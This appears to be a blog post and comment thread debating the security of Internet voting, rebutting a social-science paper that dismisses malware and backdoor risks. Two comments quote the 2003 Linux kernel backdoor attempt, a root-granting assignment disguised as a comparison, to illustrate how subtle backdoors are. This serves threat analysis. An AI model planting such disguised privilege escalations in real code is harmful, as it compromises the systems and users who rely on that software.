Kelleher's Internet Voting Security Paper

| Comments (12) | Voting
William Kelleher has been publicizing a paper entitled "Internet Voting: The Great Security Scare". Here's his thesis:
This paper will present a social science paradigm for critically evaluating the security concerns most often expressed by opponents of Internet voting. In 2003, these concerns were so effectively expressed that they resulted in the US government ceasing all efforts to even experiment with voting from overseas via the new technology. However, when examined within a context of social scientific reasoning, the arguments that stopped the progress of Internet voting in the US appear as mere appeals to fear, bereft of rationality.

First, the problem of how to think about e-crime in general will be discussed. Secondly, the framework that emerges from that discussion will be applied to the arguments against Internet voting. The conclusion will suggest that Internet voting can be conducted with a degree of security similar to an online purchase, a million dollar bank transfer, or a secret military communication. As shown in the essay, the technology already exists, and has been honed over many years of use. While there are differences between the military uses of the Internet, e-commerce, and Internet voting, this paper will argue that the degree of security for each need not vary significantly.

Ordinarily, I don't bother to engage with this weak an argument, but Dr. Kelleher is starting to get some publicity and so I thought it was worth giving it a read. I didn't find it very convincing, but rather than make a point by point rebuttal, I want to focus on what I think is generally agreed to be the most serious obstacle to any Internet voting system: the security of voter's computers. As I've mentioned before, malware on the user's computer has the opportunity to totally compromise his vote, and writing that kind of malware isn't particularly difficult.

Kelleher's discussion of these issues is mostly framed as a rebuttal to the SERVE report, which discussed the security of a particular proposed Internet voting system. The SERVE authors were quite concerned about this sort of malware and discussed a number of vectors by which it might get on a user's computer, including backdoors on installed system software, viruses/worms, and booby-trapped websites. Kelleher's paper takes each of these on in sequence. Let's take a look at just one example, the material about backdoors (the dismissive tone is fairly typical).

This statement suggests that a company favoring Republicans could program all the computers with its software to vote Republican, even if the voter thinks he or she is voting for a Democrat or Independent. A Socialist-favoring company could jigger the vote its way, etc.

Here, the Super Sleuths think they have uncovered the potential for a massive conspiracy by software makers to control US elections by selling people loaded software. But, what would be necessary to carry out such a scheme, and what risks would the perpetrators be taking? First, such a scheme could only affect an Internet-based election in our country if the company sells tens of thousands of loaded product. But, the more they sell, the greater the risk of being caught. Someone who is wary of just such a scheme, whether a citizen computer scientist, or a law enforcement official, is going to examine the code in every type of voting-related product and discover the trick.

Once caught, the executives, and all who conspired with them, risk having to pay huge fines, being sentenced to prison, and losing their livelihood. After they do their time, no software company would hire them, because customers would become suspicious of the company's product. These convicted felons would be lucky to find jobs as taxi drivers, or doormen. How many people who are intelligent enough to run a software manufacturing business are going to be stupid enough to risk these consequences in the forlorn hope of changing some votes to favor their own political party or candidate?

First, this seriously misrepresents the SERVE report, which doesn't at all contemplate that the company would insert the backdoor. In fact, it quite clearly implies the contrary: "Today's computers come loaded with software developed by many different entities; any employee at any of those companies could conceivably leave a backdoor that attacks SERVE." Modern software is generally developed by large teams and controls on the code that authors check in is generally fairly lax. In many environments it wouldn't be at all difficult for an attacker to inject arbitrary code without being detected, especailly if they made some effort to hide it. (More on this in a bit.)

Second, the suggestion that outsiders would actually review all the code in your average computer and detect this kind of attack is, let's say, extremely problematic. As the SERVE authors correctly observe, any software on your machine could have a backdoor in it, not just the voting software. This means that on your average machine you need to audit all of Windows, Office, IE, Firefox, etc. Estimates I've heard of the number of lines of code in Windows alone run into the tens of millions, and the cooldifficult thing about a backdoor is that it can be anywhere in the code base. Auditing this sort of system is a massive (read: totally impractical) project. When we did the Top-To-Bottom Review, we had our hands full just looking for unintentional vulnerabilities in a code base about 1% as large, we didn't even try to look for backdoors. And of course, we had the advantage of the source code, which vendors generally regard as pretty secret. Your average reviewer is not going to have the source code for Windows.

Moreover, there's no reason to inject something as obvious as a program to change votes. All you need is a remotely exploitable vulnerability known only to you, and this can be as simple as a missing array bounds check, integer overflow check, etc. Then when you're ready to install your malware you exploit the vulnerability and there doesn't need to be any voting specific code to find at all. This has two advantages: (1) it's hard to find because it's a small error and (2) even if you get caught you can plead incompetence. Given the number of vulnerabilities found in your average program, it's extremely improbable that you would suffer any consequences—certainly none of the existing voting vendors have been arrested for vulnerabilities found in their systems. [To be totally fair, the SERVE report doesn't make this point quite as clearly as one might like]

I don't propose to go through the rest of the paper point by point. Suffice to say that overall it betrays a fairly shallow understanding of the state of computer security and mostly depends on the ever-popular "argument from incredulity". In particular, Kelleher is incredulous that there could ever be widely deployed malware that infects a large number of computers. As it happens, however, not only is this possible, we already have several worked examples in the form of large botnets. It's not hard to envision repurposing that sort of software to mount attacks on voting systems. Actually it's in some respects easier because you don't need any command and control, you just deliver the attack payload; it waits till election day and then activates. Far from being incredible, then, this attack seems fairly practical.

12 Comments

Despite the patently ridiculous paper, I'm glad you took a few minutes to pen this, Eric.

While I agree that botnet-style malware could be used to alter voting, I suspect that if PC-originated voting (a much better name than "Internet voting") ever takes off and an election is subverted, the culprit will be software that users purposely put on their machines. The people who write botnets are mostly concerned about getting paid, and a candidate or organization would be incredibly foolish to engage a botnet owner before an election. On the other hand, a rogue far left/right wing programmer working at PopCap or EA could easily insert code in the toolkits they use and have an incredible opportunity to rig an election. "100% of Snood Users Vote For Smith".

My favorite such backdoor was tried to be inserted in the Linux kernel:

if (somecondition && uid = uid0){
"allow the operation"
}

If someone suitably skilled is trying to hide a backdoor, you won't find it.

This is one of my big annoyances with people who say "open source voting machines are secure voting machines." Open source does give you the opportunity to review the code, but if you expect to be able to make sure the code does what you think it does (let alone trust the drivers, CPU, and third-party hardware on the voting machine), you've already lost.

The same way that HTTPS was built with the explicit idea of a hostile network in mind, a voting system should be built with the explicit idea of a hostile computer. We usually _won't_ have that level of hostility, but if we can reliably detect it and reconstruct what was really meant, even at significant cost, we probably have a good voting system.

"Shallow" precisely captures Kelleher's argument. Joe's assessment of "ridiculous" also fits.

Kelleher hasn't done his homework. Technological ideologues and idealists whose work is not grounded in anything other than overly rosy aspirations should undertake some sound academic work in computer and network security before offering critiques of the SERVE report.

Thanks for the analysis.


Not only is it not feasible to find backdoors in source code, it is impossible (not merely infeasible) to prove the absence of a backdoor. The classic reference of course is Ken Thompson's Turing Award lecture "Reflections on Trusting Trust"
http://www.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf

Kudos to Paul for identifying PopCap and EA as realistic vectors!

Hi Eric!

Thanks for taking the time to read and to comment on my paper. Only one problem: you have just repeated the same faulty reasoning about social reality that I criticize the four SERVE dissenters for. That is, you disregard the practical lessons of law enforcement, and jump into a technical dissertation about how some gimmick can be accomplished without being detected.

OK. Backdoors can be put in codes. So what? If you understood how the law in this country works you wouldn’t see that as a threat to the integrity of elections based on Internet voting. Companies are legally responsible for their product. It doesn’t matter that a rouge programmer puts something in that the employer didn’t know about. The company is responsible, and no successful seller of software is going to be so foolish as to take any chance that a political fanatic is going to pollute his product.

You didn’t fairly quote me when you omitted my sentence about “quality control.” I didn’t misrepresent them at all.

I don’t know how Hoke can be so sure about the “shallowness” of my argument, when she hasn’t read the paper.

One interesting problem that I keep running into is the lack of capacity computer science and computer programming folks have for understanding the social science point of view.

Bill Kelleher

Bill,

I'm sorry, but I think you're still misunderstanding the situation.

1. The practical lessons of law enforcement cut against your argument
rather than for it. It's quite routine to have large botnets in which
the perpetrators are never caught. I don't see why you think it would
be any different with malware designed to interfere with elections.

2. So companies are responsible for their product, so what? They
have no practical way of ensuring that their products do not have
security vulnerabilities, which is why commercially available software
is so full of them. So, in fact, companies are taking a chance right
now that someone is going to "pollute their product" and the only
way in which that risk doesn't map onto voting systems is that those
products aren't used for Internet voting. For what it's worth, as
far as I can tell, you're not correct that companies are responsible
for security vulnerabilities in their product to any significant extent.
On the contrary, commercial software routinely comes with disclaimers
of any warranty. Can you cite case law which has held companies responsible
for vulnerabilities in their software--remember, clear malware doesn't
count, because I'm talking about things that look like errors.

3. I'm sorry you feel I didn't fairly quote your sentence about quality
control. For the record, it says "Intelligent entrepreneurs are going
to have quality control operations that will not let such loaded product
go out for sale under the company's name." That said, however, this
doesn't change my assessment of the situation at all. As I said,
there is simply no available methodology for assuring the security
of a nontrivial piece of software.

4. "One interesting problem that I keep running into is the lack of capacity computer science and computer programming folks have for understanding the social science point of view." Respectfully, I think you should consider the
possibility that you have failed to understand the computer science point
of view.

-Ekr

Dr Keller, with all respect, many of us in this community understand the difficulties of law enforcement and backdoor detection far better than you.

Of all the major, HIGH PROFILE incidents of widespread host subversion, there have been only a few major arrests and almost all were related to significant stupidities or errors on the author's part: EG, launching the worm by posting it to a newsgroup from his personal computer (Melissa), sending an "oh woops" email message (the Morris worm), bragging to friends when Microsoft had a $250,000 reward out (sasser. Me, I'd hope my friends would hold out for a cool million), releasing a modified version contact his own personal computer (the Blaster B variant) or, most entertainingly, trying to pass off the worm as a masters project before release (iloveyou).

Absent such gross stupidities, the ability to conduct widespread, high profile attacks is almost unimpeeded by law enforcement. EG, we have cases like Witty where a worm was probably written by a company insider, deliberately malicious, well engineered, and deliberately targeted against the defensive systems of a US military network! We identified the originating IP address of the worm, even. There has, to our knowledge, been no arrests.


In contrast, a botnet which is tampering with the voting would be far more subtle. An attacker could probably control millions of hosts for this purpose without detection and, even if detected, without significant fear of prosecution.


Likewise, backdoors can be very VERY subtle. Companies have corporate policies against "easter eggs": harmless, and rather OPEN extended features in the code. But they still happen. Let alone something subtle like a piece of code in the kernel which says:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

(An actual piece of backdoor code which was attempted to be integrated into the Linux kernel. It was caught because of HOW the attacker tried to integrate it, not the code itself.)

Any Internet-based voting sysetem must effectively ASSUME the users hosts are compromised by those wishing to maniuplate the outcome of the election.

Hi Eric!

RE: #1 You asked me to do some research for you, so here it is:

You can read the DOJ news report, which I entitle “Botnet King Busted,” at:
http://losangeles.fbi.gov/dojpressrel/pressrel08/la041608usa.htm

Some quotes:

“In the first prosecution of its kind in the nation, a man who is well known to members of the “botnet underground” pleaded guilty today to federal charges related to his use of “botnets” – armies of compromised computers – to steal the identities of victims throughout the country by extracting information from their personal computers and wiretapping their communications.

John Schiefer, 26, of Los Angeles (90011), appeared today before United States District Judge A. Howard Matz and pleaded guilty to accessing protected computers to conduct fraud, disclosing illegally intercepted electronic communications, wire fraud and bank fraud.

“While computer criminals have many technological resources at their disposal, we have our own technology experts, as well as a host of legal remedies to punish those who exploit the Internet for nefarious purposes,” said United States Attorney Thomas P. O’Brien. “As Internet-based criminals develop new techniques, we quickly respond to their threats and prosecute those who compromise our ability to safely use the Internet.”

“Schiefer is the first person in the nation to plead guilty to wiretapping charges in connection with the use of botnets.”

“This case should send a message to would be cyber culprits that the FBI may be only a few mouse clicks away from finding you.”

“Schiefer … faces a statutory maximum sentence of 60 years in federal prison and a fine of $1.75 million.”

Eric, what we have here is a guy who really knows his technical computer science stuff. However, he was so abysmally ignorant of law enforcement’s capacity to catch cyber criminals that he allowed his hubris to cost him his freedom. Gradually, like-minded guys will get the message that just because you have the technical knowledge to do something unlawful doesn’t mean that you are so smart as to get away with it. As I say in the essay, the good guys are always smarter.

Ergo; Internet voting will succeed!

Bill Kelleher

I never said people didn't get arrested for computer crimes. Rather, I questioned the assertion
that companies had any real liability for vulnerabilities in their software. As I wrote:


For what it's worth, as
far as I can tell, you're not correct that companies are responsible
for security vulnerabilities in their product to any significant extent.
On the contrary, commercial software routinely comes with disclaimers
of any warranty. Can you cite case law which has held companies responsible
for vulnerabilities in their software--remember, clear malware doesn't
count, because I'm talking about things that look like errors.


I don't really see how the case you're citing has much to say about this
question one way or the other.


With regard to your broader argument, I don't really see how a single instance of someone being convicted of computer crime demonstrates much of
anything. First, as Nick indicates, there have been many instances of botnets/worms where the perpetrators have never suffered any consequences
(note that this is claimed to be the *first* prosecution, in 2008!) and a piece of software designed to change votes could be much more stealthy.
Second, the case you cite involves a perpetrator in the US. It's fairly
unclear how one would deal effectively with a botnet coming out of (e.g., Romania).

"Eric, what we have here is a guy who really knows his technical computer science stuff. However, he was so abysmally ignorant of law enforcement’s capacity to catch cyber criminals that he allowed his hubris to cost him his freedom. Gradually, like-minded guys will get the message that just because you have the technical knowledge to do something unlawful doesn’t mean that you are so smart as to get away with it. As I say in the essay, the good guys are always smarter.

Ergo; Internet voting will succeed!"

This is a really REALLY bad threat model, and for every case you can point to of a rather lame and low-impact botherder who was caught (significant botnets generally have names of their own), I can point to many high profile cases where there have BEEN no arrests.

Witty: A targeted attack on the US military's intrusion detection systems!

Storm: A multi-million-dollar spam-producing botnet, run by a criminal syndicate with vertical orginaztion

Conflicker: A well enginnered "botnet-in-potentia" which compromised MILLIONS of hosts.

The recent high profile breaches at credit card processors, where attackers have compromised millions of credit card numbers...

Effectively all spam is sent by criminal enterprises controlled by bots, representing millions of compromised hosts. How effective has law enforcement been at stopping spam?

and the list goes on. and on. and on.

Anyone who works in this area professionally can attest just how difficult law enforcement really is, both due to the limits of technical forensics and location-based legal arbitrage.

And the one area that has promise: attacking the economic models of the criminals (eg, the Darkmarket takedown), doesn't apply to those who would corrupt Internet voting.

Leave a comment